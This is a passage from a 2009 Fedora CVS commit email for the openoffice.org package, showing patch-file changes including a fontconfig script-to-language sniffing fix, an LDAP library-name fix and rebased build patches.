	1.1, NONE openoffice.org-3.1.0.oooXXXXX.gcc44.buildfixes.patch, 1.5, 
	NONE openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch,
	1.1, NONE workspace.aw073.patch, 1.3,
	NONE workspace.calc50.patch, 1.1, NONE workspace.calc51.patch,
	1.3, NONE workspace.cmcfixes54.patch, 1.2,
	NONE workspace.cmcfixes57.patch, 1.2,
	NONE workspace.cmcfixes59.patch, 1.1,
	NONE workspace.cmcfixes60.patch, 1.1,
	NONE workspace.cmcfixes61.patch, 1.1,
	NONE workspace.cmcfixes62.patch, 1.1,
	NONE workspace.cmcfixes63.patch, 1.1,
	NONE workspace.defaultdoclang.patch, 1.1,
	NONE workspace.dr69.patch, 1.1, NONE workspace.dr72.patch, 1.1,
	NONE workspace.evoab2def.patch, 1.1, NONE workspace.fwk103.patch,
	1.4, NONE workspace.gtkmenuimages.patch, 1.1,
	NONE workspace.hb18.patch, 1.3, NONE workspace.hb32bugs01.patch,
	1.2, NONE workspace.impress169.patch, 1.3,
	NONE workspace.impress170.patch, 1.1,
	NONE workspace.impress171.patch, 1.1,
	NONE workspace.impress174.patch, 1.1,
	NONE workspace.kso32fixes.patch, 1.1,
	NONE workspace.locales32.patch, 1.1, NONE workspace.mav46.patch,
	1.1, NONE workspace.mba32issues02.patch, 1.1,
	NONE workspace.mhu17.patch, 1.1, NONE workspace.os130.patch, 1.1,
	NONE workspace.os131.patch, 1.2, NONE workspace.os132.patch, 1.1,
	NONE workspace.sb113.patch, 1.1, NONE workspace.tl66.patch, 1.1,
	NONE workspace.transogl03redux.patch, 1.4,
	NONE workspace.unifypaper01.patch, 1.4,
	NONE workspace.vcl100.patch, 1.2, NONE workspace.vcl101.patch,
	1.2, NONE workspace.vcl102.patch, 1.1,
	NONE workspace.vcl103.patch, 1.1, NONE workspace.vcl104.patch,
	1.1, NONE workspace.xmergeclean.patch, 1.1, NONE
Message-ID: <20091010154851.A593311C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13302

Modified Files:
	ooo-build.ooo2497.filter.svg.patch 
	ooo-build.ooo68717.gstreamer.video.patch 
	openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch 
	openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch 
	openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch 
	openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch 
	openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch 
	openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch 
	openoffice.org-2.3.0.ooo76649.httpencoding.patch 
	openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch 
	openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch 
	openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch 
	openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch 
	openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch 
	openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch 
	openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch 
	openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch 
	openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch 
	openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch 
	openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch 
	openoffice.org.spec workspace.vcl106.patch 
Added Files:
	openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch 
	workspace.dba32h.patch 
Removed Files:
	openoffice.org-3.0.0.ooo95018.sal.fdwarnings.patch 
	openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch 
	openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch 
	openoffice.org-3.1.0.ooo99541.sw.reopen.flat.addrbooks.patch 
	openoffice.org-3.1.0.oooXXXXX.gcc44.buildfixes.patch 
	openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch 
	workspace.aw073.patch workspace.calc50.patch 
	workspace.calc51.patch workspace.cmcfixes54.patch 
	workspace.cmcfixes57.patch workspace.cmcfixes59.patch 
	workspace.cmcfixes60.patch workspace.cmcfixes61.patch 
	workspace.cmcfixes62.patch workspace.cmcfixes63.patch 
	workspace.defaultdoclang.patch workspace.dr69.patch 
	workspace.dr72.patch workspace.evoab2def.patch 
	workspace.fwk103.patch workspace.gtkmenuimages.patch 
	workspace.hb18.patch workspace.hb32bugs01.patch 
	workspace.impress169.patch workspace.impress170.patch 
	workspace.impress171.patch workspace.impress174.patch 
	workspace.kso32fixes.patch workspace.locales32.patch 
	workspace.mav46.patch workspace.mba32issues02.patch 
	workspace.mhu17.patch workspace.os130.patch 
	workspace.os131.patch workspace.os132.patch 
	workspace.sb113.patch workspace.tl66.patch 
	workspace.transogl03redux.patch workspace.unifypaper01.patch 
	workspace.vcl100.patch workspace.vcl101.patch 
	workspace.vcl102.patch workspace.vcl103.patch 
	workspace.vcl104.patch workspace.xmergeclean.patch 
Log Message:
first 3.2.0 milestone

openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch:
 unx/source/fontmanager/fontconfig.cxx |  142 +++++++++++++++++++++++++++++++++-
 util/makefile.mk                      |    1 
 2 files changed, 141 insertions(+), 2 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch ---
diff -ru vcl.orig/unx/source/fontmanager/fontconfig.cxx vcl/unx/source/fontmanager/fontconfig.cxx
--- vcl.orig/unx/source/fontmanager/fontconfig.cxx	2009-10-08 13:25:00.000000000 +0100
+++ vcl/unx/source/fontmanager/fontconfig.cxx	2009-10-08 13:51:51.000000000 +0100
@@ -80,6 +80,9 @@
 
 #include "sal/alloca.h"
 
+#include <i18nutil/unicode.hxx>  //unicode::getUnicodeScriptType
+#include <com/sun/star/i18n/ScriptType.hdl> //ScriptType
+
 #include <utility>
 #include <algorithm>
 
@@ -907,6 +910,138 @@
     }
 }
 
+static const char* pick_sample_language(const sal_uInt32 cCode)
+{
+    using namespace ::com::sun::star::i18n;
+
+    static ScriptTypeList aScripts[] =
+    {
+        { UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin },
+        { UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement },
+        { UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA },
+        { UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB },
+        { UnicodeScript_kGreek, UnicodeScript_kGreek, UnicodeScript_kGreek },
+        { UnicodeScript_kCyrillic, UnicodeScript_kCyrillic, UnicodeScript_kCyrillic },
+        { UnicodeScript_kArmenian, UnicodeScript_kArmenian, UnicodeScript_kArmenian },
+        { UnicodeScript_kHebrew, UnicodeScript_kHebrew, UnicodeScript_kHebrew },
+        { UnicodeScript_kArabic, UnicodeScript_kArabic, UnicodeScript_kArabic },
+        { UnicodeScript_kSyriac, UnicodeScript_kSyriac, UnicodeScript_kSyriac },
+        { UnicodeScript_kThaana, UnicodeScript_kThaana, UnicodeScript_kThaana },
+        { UnicodeScript_kDevanagari, UnicodeScript_kDevanagari, UnicodeScript_kDevanagari },
+        { UnicodeScript_kBengali, UnicodeScript_kBengali, UnicodeScript_kBengali },
+        { UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi },
+        { UnicodeScript_kGujarati, UnicodeScript_kGujarati, UnicodeScript_kGujarati },
+        { UnicodeScript_kOriya, UnicodeScript_kOriya, UnicodeScript_kOriya },
+        { UnicodeScript_kTamil, UnicodeScript_kTamil, UnicodeScript_kTamil },
+        { UnicodeScript_kTelugu, UnicodeScript_kTelugu, UnicodeScript_kTelugu },
+        { UnicodeScript_kKannada, UnicodeScript_kKannada, UnicodeScript_kKannada },
+        { UnicodeScript_kMalayalam, UnicodeScript_kMalayalam, UnicodeScript_kMalayalam },
+        { UnicodeScript_kSinhala, UnicodeScript_kSinhala, UnicodeScript_kSinhala },
+        { UnicodeScript_kThai, UnicodeScript_kThai, UnicodeScript_kThai },
+        { UnicodeScript_kLao, UnicodeScript_kLao, UnicodeScript_kLao },
+        { UnicodeScript_kTibetan, UnicodeScript_kTibetan, UnicodeScript_kTibetan },
+        { UnicodeScript_kMyanmar, UnicodeScript_kMyanmar, UnicodeScript_kMyanmar },
+        { UnicodeScript_kGeorgian, UnicodeScript_kGeorgian, UnicodeScript_kGeorgian },
+        { UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo },
+        { UnicodeScript_kEthiopic, UnicodeScript_kEthiopic, UnicodeScript_kEthiopic },
+        { UnicodeScript_kCherokee, UnicodeScript_kCherokee, UnicodeScript_kCherokee },
+        { UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics },
+        { UnicodeScript_kKhmer, UnicodeScript_kKhmer, UnicodeScript_kKhmer },
+        { UnicodeScript_kMongolian, UnicodeScript_kMongolian, UnicodeScript_kMongolian },
+        { UnicodeScript_kLatinExtendedAdditional, UnicodeScript_kLatinExtendedAdditional,
+          UnicodeScript_kLatinExtendedAdditional },
+        { UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended },
+        { UnicodeScript_kHiragana, UnicodeScript_kHiragana, UnicodeScript_kHiragana },
+        { UnicodeScript_kKatakana, UnicodeScript_kKatakana, UnicodeScript_kKatakana },
+        { UnicodeScript_kHangulCompatibilityJamo, UnicodeScript_kHangulCompatibilityJamo, 
+          UnicodeScript_kHangulCompatibilityJamo },
+        { UnicodeScript_kHangulSyllable, UnicodeScript_kHangulSyllable,
+          UnicodeScript_kHangulSyllable },
+        { UnicodeScript_kArabicPresentationB, UnicodeScript_kArabicPresentationB,
+          UnicodeScript_kArabicPresentationB },
+        { UnicodeScript_kScriptCount, UnicodeScript_kScriptCount, UnicodeScript_kScriptCount }
+    };
+
+    switch (unicode::getUnicodeScriptType(cCode, aScripts, UnicodeScript_kScriptCount))
+    {
+        case UnicodeScript_kBasicLatin:
+        case UnicodeScript_kLatin1Supplement:
+        case UnicodeScript_kLatinExtendedA:
+        case UnicodeScript_kLatinExtendedB:
+        case UnicodeScript_kLatinExtendedAdditional:
+            return "en";
+        case UnicodeScript_kGreek:
+        case UnicodeScript_kGreekExtended:
+            return "el";
+        case UnicodeScript_kCyrillic:
+            return "ru";
+        case UnicodeScript_kArmenian:
+            return "hy";
+        case UnicodeScript_kHebrew:
+            return "he";
+        case UnicodeScript_kArabic:
+        case UnicodeScript_kArabicPresentationB:
+            return "ar";
+        case UnicodeScript_kSyriac:
+            return "syr";
+        case UnicodeScript_kThaana:
+            return "dv";
+        case UnicodeScript_kDevanagari:
+            return "hi";
+        case UnicodeScript_kBengali:
+            return "bn";
+        case UnicodeScript_kGurmukhi:
+            return "pa";
+        case UnicodeScript_kGujarati:
+            return "gu";
+        case UnicodeScript_kOriya:
+            return "or";
+        case UnicodeScript_kTamil:
+            return "ta";
+        case UnicodeScript_kTelugu:
+            return "te";
+        case UnicodeScript_kKannada:
+            return "ka";
+        case UnicodeScript_kMalayalam:
+            return "ml";
+        case UnicodeScript_kSinhala:
+            return "si";
+        case UnicodeScript_kThai:
+            return "th";
+        case UnicodeScript_kLao:
+            return "lo";
+        case UnicodeScript_kTibetan:
+            return "bo";
+        case UnicodeScript_kMyanmar:
+            return "my";
+        case UnicodeScript_kGeorgian:
+            return "ka";
+        case UnicodeScript_kHangulJamo:
+        case UnicodeScript_kHangulCompatibilityJamo:
+        case UnicodeScript_kHangulSyllable:
+            return "ko";
+        case UnicodeScript_kEthiopic:
+            return "am";
+        case UnicodeScript_kCherokee:
+            return "chr";
+        case UnicodeScript_kUnifiedCanadianAboriginalSyllabics:
+            return "ui";
+        case UnicodeScript_kKhmer:
+            return "km";
+        case UnicodeScript_kMongolian:
+            return "mn";
+        case UnicodeScript_kHiragana:
+        case UnicodeScript_kKatakana:
+            return "ja";
+        default:
+            break;
+    }
+
+    return NULL;
+}
+
 rtl::OUString PrintFontManager::Substitute(const rtl::OUString& rFontName,
     rtl::OUString& rMissingCodes, const rtl::OString &rLangAttrib,
     italic::type &rItalic, weight::type &rWeight,
@@ -928,8 +1063,6 @@
     rWrapper.FcPatternAddString( pPattern, FC_FAMILY, pTargetNameUtf8 );
 
     const FcChar8* pLangAttribUtf8 = (FcChar8*)rLangAttrib.getStr();
-    if( rLangAttrib.getLength() )
-        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
 
     // Add required Unicode characters, if any
     if ( rMissingCodes.getLength() )
@@ -940,11 +1073,16 @@
            // also handle unicode surrogates
            const sal_uInt32 nCode = rMissingCodes.iterateCodePoints( &nStrIndex );
            rWrapper.FcCharSetAddChar( unicodes, nCode );
+           if (!pLangAttribUtf8)
+               pLangAttribUtf8 = (const FcChar8*)pick_sample_language(nCode);
        }
        rWrapper.FcPatternAddCharSet( pPattern, FC_CHARSET, unicodes);
        rWrapper.FcCharSetDestroy( unicodes );
     }
 
+    if( pLangAttribUtf8 )
+        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
+
     addtopattern(rWrapper, pPattern, rItalic, rWeight, rWidth, rPitch);
 
     // query fontconfig for a substitute
diff -ru vcl.orig/util/makefile.mk vcl/util/makefile.mk
--- vcl.orig/util/makefile.mk	2009-10-08 13:25:00.000000000 +0100
+++ vcl/util/makefile.mk	2009-10-08 13:25:09.000000000 +0100
@@ -298,6 +298,7 @@
 # libs for generic plugin
 SHL2STDLIBS=\
 			$(VCLLIB)\
+            $(I18NUTILLIB)      \
             $(I18NPAPERLIB)     \
             $(TOOLSLIB)         \
             $(VOSLIB)           \

workspace.dba32h.patch:
 ldapaccess.cxx      |   15 +++++++++------
 wrapldapinclude.hxx |    6 ++++++
 2 files changed, 15 insertions(+), 6 deletions(-)

--- NEW FILE workspace.dba32h.patch ---
Index: extensions/source/config/ldap/wrapldapinclude.hxx
===================================================================
--- extensions/source/config/ldap/wrapldapinclude.hxx	(revision 276155)
+++ extensions/source/config/ldap/wrapldapinclude.hxx	(working copy)
@@ -35,6 +35,12 @@
 
 #ifdef WITH_OPENLDAP
 #include <ldap.h>
+#ifndef LDAP_API
+#    define LDAP_API(rt) rt
+#endif
+#ifndef LDAP_CALL
+#    define LDAP_CALL
+#endif
 #else
 #ifndef LDAP_INCLUDED
 #define LDAP_INCLUDED
Index: extensions/source/config/ldap/ldapaccess.cxx
===================================================================
--- extensions/source/config/ldap/ldapaccess.cxx	(revision 276155)
+++ extensions/source/config/ldap/ldapaccess.cxx	(working copy)
@@ -315,14 +315,17 @@
     if ( !s_Ldap_Module )
     {
 #if defined(WIN) || defined(WNT)
-        const ::rtl::OUString sModuleName(RTL_CONSTASCII_USTRINGPARAM("nsldap32v50.dll"));
+#       define LIBLDAP "nsldap32v50.dll"
 #else
-#ifdef WITH_OPENLDAP
-        const ::rtl::OUString sModuleName(RTL_CONSTASCII_USTRINGPARAM("libldap.so"));
-#else
-        const ::rtl::OUString sModuleName(RTL_CONSTASCII_USTRINGPARAM("libldap50.so"));
+#   ifdef WITH_OPENLDAP
+#       define xstr(s) str(s)
+#       define str(s) #s
+#       define LIBLDAP "libldap-" xstr(LDAP_VENDOR_VERSION_MAJOR) "." xstr(LDAP_VENDOR_VERSION_MINOR) ".so." xstr(LDAP_VENDOR_VERSION_MAJOR)
+#   else
+#       define LIBLDAP "libldap50.so"
+#   endif
 #endif
-#endif
+        const ::rtl::OUString sModuleName(RTL_CONSTASCII_USTRINGPARAM(LIBLDAP));
 
 		// load the dbtools library
 		s_Ldap_Module = osl_loadModuleRelative(&thisModule, sModuleName.pData, 0);

ooo-build.ooo2497.filter.svg.patch:
 OOO310_m6/filter/source/config/fragments/fcfg_drawgraphics.mk                       |    1 
 OOO310_m6/filter/source/config/fragments/fcfg_internalgraphics.mk                   |    1 
 OOO310_m6/filter/source/config/fragments/filters/SVG___Scalable_Vector_Graphics.xcu |   13 
 OOO310_m6/filter/source/config/fragments/internalgraphicfilters/svg_Import.xcu      |   10 
 OOO310_m6/filter/source/config/fragments/types/svg_Scalable_Vector_Graphics.xcu     |    6 
 OOO310_m6/filter/source/svg/b2dellipse.cxx                                          |  139 
 OOO310_m6/filter/source/svg/b2dellipse.hxx                                          |   77 
 OOO310_m6/filter/source/svg/exports.map                                             |    5 
 OOO310_m6/filter/source/svg/gentoken.pl                                             |   58 
 OOO310_m6/filter/source/svg/gfxtypes.hxx                                            |  343 +
 OOO310_m6/filter/source/svg/makefile.mk                                             |   62 
 OOO310_m6/filter/source/svg/parserfragments.cxx                                     |  600 ++
 OOO310_m6/filter/source/svg/parserfragments.hxx                                     |   74 
 OOO310_m6/filter/source/svg/spirit_supplements.hxx                                  |  115 
 OOO310_m6/filter/source/svg/svgfilter.cxx                                           |  102 
 OOO310_m6/filter/source/svg/svgfilter.hxx                                           |   46 
 OOO310_m6/filter/source/svg/svgimport.cxx                                           |  197 
 OOO310_m6/filter/source/svg/svgreader.cxx                                           | 2772 ++++++++++
 OOO310_m6/filter/source/svg/svgreader.hxx                                           |   43 
 OOO310_m6/filter/source/svg/test/makefile.mk                                        |  115 
 OOO310_m6/filter/source/svg/test/odfserializer.cxx                                  |  140 
 OOO310_m6/filter/source/svg/test/odfserializer.hxx                                  |   31 
 OOO310_m6/filter/source/svg/test/parsertest.cxx                                     |  210 
 OOO310_m6/filter/source/svg/test/svg2odf.cxx                                        |  124 
 OOO310_m6/filter/source/svg/tokenmap.cxx                                            |   62 
 OOO310_m6/filter/source/svg/tokenmap.hxx                                            |   32 
 OOO310_m6/filter/source/svg/tokens.txt                                              |  403 +
 OOO310_m6/filter/source/svg/units.cxx                                               |   99 
 OOO310_m6/filter/source/svg/units.hxx                                               |   60 
 filter/source/svg/units.cxx                                                         |   27 
 30 files changed, 5710 insertions(+), 257 deletions(-)

Index: ooo-build.ooo2497.filter.svg.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/ooo-build.ooo2497.filter.svg.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ooo-build.ooo2497.filter.svg.patch	9 Jun 2009 16:38:24 -0000	1.2
+++ ooo-build.ooo2497.filter.svg.patch	10 Oct 2009 15:48:44 -0000	1.3
@@ -764,21 +764,18 @@ diff -ruN OOO310_m6.orig/filter/source/s
  .ENDIF
  
  # --- Library -----------------------------------
-@@ -56,22 +66,20 @@
- SHL1TARGET=$(TARGET)$(DLLPOSTFIX)
- 
+@@ -58,19 +68,17 @@
  SHL1STDLIBS=\
-+	$(BASEGFXLIB)		\
- 	$(SVXLIB)			\
+ 	$(SVXCORELIB)			\
  	$(XMLOFFLIB)		\
 -	$(GOODIESLIB)		\
-+	$(SVTOOLLIB)	    \
-+	$(BASEGFXLIB)		\
++	$(SVTOOLLIB)        \
++	$(BASEGFXLIB)           \
  	$(VCLLIB)			\
  	$(UNOTOOLSLIB)		\
  	$(TOOLSLIB)			\
  	$(COMPHELPERLIB)	\
-+	$(SVTOOLLIB)	    \
++	$(SVTOOLLIB)        \
  	$(CPPUHELPERLIB)	\
  	$(CPPULIB)			\
 -	$(SALLIB) 
@@ -787,12 +784,28 @@ diff -ruN OOO310_m6.orig/filter/source/s
 -SHL1STDLIBS+=\
 -	$(JVMACCESSLIB)
 -.ENDIF
--
 +	$(SALLIB)			\
 +	$(LIBXML)
  
+ 
  SHL1DEPN=
- SHL1IMPLIB=	i$(SHL1TARGET)
+@@ -84,3 +92,16 @@
+ # --- Targets ----------------------------------
+ 
+ .INCLUDE : target.mk
++
++# Generate gperf files - from oox/source/token
++$(INCCOM)$/tokens.hxx $(MISC)$/tokens.gperf : tokens.txt gentoken.pl
++		$(PERL) gentoken.pl tokens.txt $(INCCOM)$/tokens.hxx $(MISC)$/tokens.gperf
++
++$(INCCOM)$/tokens.cxx : $(MISC)$/tokens.gperf makefile.mk
++		gperf --compare-strncmp -C -m 20 $(MISC)$/tokens.gperf | $(SED) -e "s/(char\*)0/(char\*)0, 0/g" >$(INCCOM)$/tokens.cxx
++
++$(SLO)$/tokenmap.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
++
++$(SLO)$/parserfragments.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
++
++$(SLO)$/svgreader.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
 @@ -84,3 +92,16 @@
  # --- Targets ----------------------------------
  

ooo-build.ooo68717.gstreamer.video.patch:
 avmedia/prj/build.lst                             |    3 
 avmedia/source/gstreamer/ChangeLog                |  112 +++
 avmedia/source/gstreamer/exports.dxp              |    4 
 avmedia/source/gstreamer/gstcommon.hxx            |   83 ++
 avmedia/source/gstreamer/gstframegrabber.cxx      |  244 ++++++++
 avmedia/source/gstreamer/gstframegrabber.hxx      |   78 ++
 avmedia/source/gstreamer/gstmanager.cxx           |  114 +++
 avmedia/source/gstreamer/gstmanager.hxx           |   74 ++
 avmedia/source/gstreamer/gstplayer.cxx            |  628 ++++++++++++++++++++++
 avmedia/source/gstreamer/gstplayer.hxx            |  120 ++++
 avmedia/source/gstreamer/gstuno.cxx               |  111 +++
 avmedia/source/gstreamer/gstwindow.cxx            |  365 ++++++++++++
 avmedia/source/gstreamer/gstwindow.hxx            |  119 ++++
 avmedia/source/gstreamer/makefile.mk              |   85 ++
 avmedia/source/inc/mediamisc.hxx                  |    4 
 avmedia/source/viewer/mediawindow.cxx             |    2 
 avmedia/source/viewer/mediawindow_impl.cxx        |   52 +
 avmedia/source/viewer/mediawindow_impl.hxx        |    8 
 com/sun/star/wizards/letter/LocaleCodes.java      |    2 
 configure.in                                      |   21 
 scp2/source/ooo/file_library_ooo.scp              |    4 
 scp2/source/ooo/module_hidden_ooo.scp             |    1 
 set_soenv.in                                      |    1 
 slideshow/source/engine/shapes/viewmediashape.cxx |   38 +
 slideshow/source/engine/shapes/viewmediashape.hxx |    7 
 solenv/inc/settings.mk                            |    4 
 source/gstreamer/gstplayer.cxx                    |   15 
 source/gstreamer/gstplayer.hxx                    |    1 
 svtools/inc/svtools/inettype.hxx                  |    4 
 svtools/inc/svtools/svtools.hrc                   |  210 +++----
 svtools/source/misc1/inettype.cxx                 |    5 
 svtools/source/misc1/mediatyp.src                 |  162 +++++
 vcl/inc/vcl/salobj.hxx                            |    2 
 vcl/inc/vcl/syschild.hxx                          |    1 
 vcl/source/window/syschild.cxx                    |    6 
 vcl/unx/gtk/window/gtkobject.cxx                  |    8 
 vcl/unx/inc/plugins/gtk/gtkobject.hxx             |    2 
 37 files changed, 2585 insertions(+), 115 deletions(-)

Index: ooo-build.ooo68717.gstreamer.video.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/ooo-build.ooo68717.gstreamer.video.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ooo-build.ooo68717.gstreamer.video.patch	28 Apr 2009 09:32:23 -0000	1.2
+++ ooo-build.ooo68717.gstreamer.video.patch	10 Oct 2009 15:48:45 -0000	1.3
@@ -215,15 +215,15 @@ diff -rup avmedia-orig/source/viewer/med
                                          "Quicktime Video", "mov",
 --- configure.in.orig	2006-08-17 10:43:11.000000000 +0200
 +++ configure.in	2006-08-17 10:48:43.000000000 +0200
-@@ -908,6 +908,7 @@
+@@ -932,6 +932,7 @@
  	linux-gnu*)
  		test_gtk=yes
  		test_cairo=yes
-+		build_gstreamer=yes
++                build_gstreamer=yes
  		test_kde=yes
+ 		test_kde4=yes
  		test_cups=yes
-         test_randr=yes
-@@ -5695,6 +5696,26 @@
+@@ -5973,6 +5974,26 @@
  AC_SUBST(COMMONS_LOGGING_JAR)
  
  dnl ===================================================================
@@ -417,7 +417,7 @@ diff -rup slideshow/source/inc-orig/view
 diff -rup solenv-orig/inc/settings.mk solenv/inc/settings.mk
 --- solenv-orig/inc/settings.mk	2006-08-17 16:01:59.000000000 +0200
 +++ solenv/inc/settings.mk	2006-08-17 16:02:36.000000000 +0200
-@@ -1126,6 +1126,10 @@ CDEFS+=-DEXCEPTIONS_ON
+@@ -1147,6 +1147,10 @@
  LOCAL_EXCEPTIONS_FLAGS+=$(CFLAGSEXCEPTIONS)
  LOCAL_EXCEPTIONS_FLAGS+=-DEXCEPTIONS_ON
  
@@ -425,9 +425,9 @@ diff -rup solenv-orig/inc/settings.mk so
 +CDEFS+=-DGSTREAMER
 +.ENDIF
 +
- # compose flags and defines for GUI
- .IF "$(TARGETTYPE)"=="GUI"
- CDEFS+= $(CDEFSGUI)
+ .IF "$(ENABLE_LAYOUT)" == "TRUE"
+ CDEFS+=-DENABLE_LAYOUT=1
+ .ELSE # ENABLE_LAYOUT != TRUE
 diff -rup svtools-orig/inc/inettype.hxx svtools/inc/inettype.hxx
 --- svtools-orig/inc/svtools/inettype.hxx	2006-09-21 11:40:23.000000000 +0200
 +++ svtools/inc/svtools/inettype.hxx	2006-09-21 11:44:50.000000000 +0200

openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch:
 SRC680_m123/desktop/scripts/soffice.sh |   12 ++++--------
 sal/osl/unx/signal.c                   |    8 ++++++++
 2 files changed, 12 insertions(+), 8 deletions(-)

Index: openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	15 Sep 2009 08:24:14 -0000	1.10
+++ openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	10 Oct 2009 15:48:45 -0000	1.11
@@ -1,44 +1,40 @@
 --- SRC680_m123/desktop/scripts/soffice.sh.orig	2005-08-15 20:17:35.000000000 +0100
 +++ SRC680_m123/desktop/scripts/soffice.sh	2005-08-15 20:19:36.000000000 +0100
-@@ -91,23 +91,22 @@
- # uncomment line below if you encounter problems starting soffice on your system
- # SAL_NO_XINITTHREADS=true; export SAL_NO_XINITTHREADS
+@@ -73,30 +73,26 @@
+   esac
+ done
  
 -# pagein
- for sd_arg in ${1+"$@"} ; do
+-sd_pagein_args=@pagein-common
+ for sd_arg in "$@"; do
      case ${sd_arg} in
      -calc)
--        sd_pagein_args="${sd_pagein_args:+${sd_pagein_args} }@pagein-calc"
-+	sd_binary="scalc.bin"
+-        sd_pagein_args="${sd_pagein_args} @pagein-calc"
++        sd_binary="scalc.bin"
          break;
          ;;
      -draw)
--        sd_pagein_args="${sd_pagein_args:+${sd_pagein_args} }@pagein-draw"
-+	sd_binary="sdraw.bin"
+-        sd_pagein_args="${sd_pagein_args} @pagein-draw"
++        sd_binary="sdraw.bin"
          break;
          ;;
      -impress)
--        sd_pagein_args="${sd_pagein_args:+${sd_pagein_args} }@pagein-impress"
-+	sd_binary="simpress.bin"
+-        sd_pagein_args="${sd_pagein_args} @pagein-impress"
++        sd_binary="simpress.bin"
          break;
          ;;
      -writer)
--        sd_pagein_args="${sd_pagein_args:+${sd_pagein_args} }@pagein-writer"
-+	sd_binary="swriter.bin"
+-        sd_pagein_args="${sd_pagein_args} @pagein-writer"
++        sd_binary="swriter.bin"
          break;
          ;;
-     *)
-@@ -120,10 +119,6 @@
-   . /etc/adabasrc
- fi
- 
--sd_pagein_args="${sd_pagein_args:+${sd_pagein_args} }@pagein-common"
+     esac
+ done
 -"$sd_prog/../basis-link/program/pagein" -L"$sd_prog/../basis-link/program" \
 -    ${sd_pagein_args}
--
- # Set PATH so that crash_report is found:
- PATH=$sd_prog${PATH+:$PATH}
- export PATH
+ 
+ # extend the ld_library_path for java: javaldx checks the sofficerc for us
+ if [ -x "$sd_prog/../basis-link/ure-link/bin/javaldx" ] ; then
 Index: osl/unx/signal.c
 ===================================================================
 RCS file: /cvs/porting/sal/osl/unx/signal.c,v

openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch:
 docnew.cxx |   19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

Index: openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch	16 Aug 2007 07:04:22 -0000	1.2
+++ openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch	10 Oct 2009 15:48:45 -0000	1.3
@@ -5,7 +5,7 @@ retrieving revision 1.57
 diff -u -p -u -r1.57 docnew.cxx
 --- openoffice.org.orig/sw/source/core/doc/docnew.cxx	8 Nov 2005 17:16:18 -0000	1.57
 +++ openoffice.org/sw/source/core/doc/docnew.cxx	29 Nov 2005 09:38:58 -0000
-@@ -502,6 +502,16 @@
+@@ -459,6 +459,16 @@
  
  SwDoc::~SwDoc()
  {
@@ -22,8 +22,8 @@ diff -u -p -u -r1.57 docnew.cxx
      // --> OD 2007-03-16 #i73788#
      SwPauseThreadStarting aPauseThreadStarting;
      // <--
-@@ -582,15 +592,6 @@
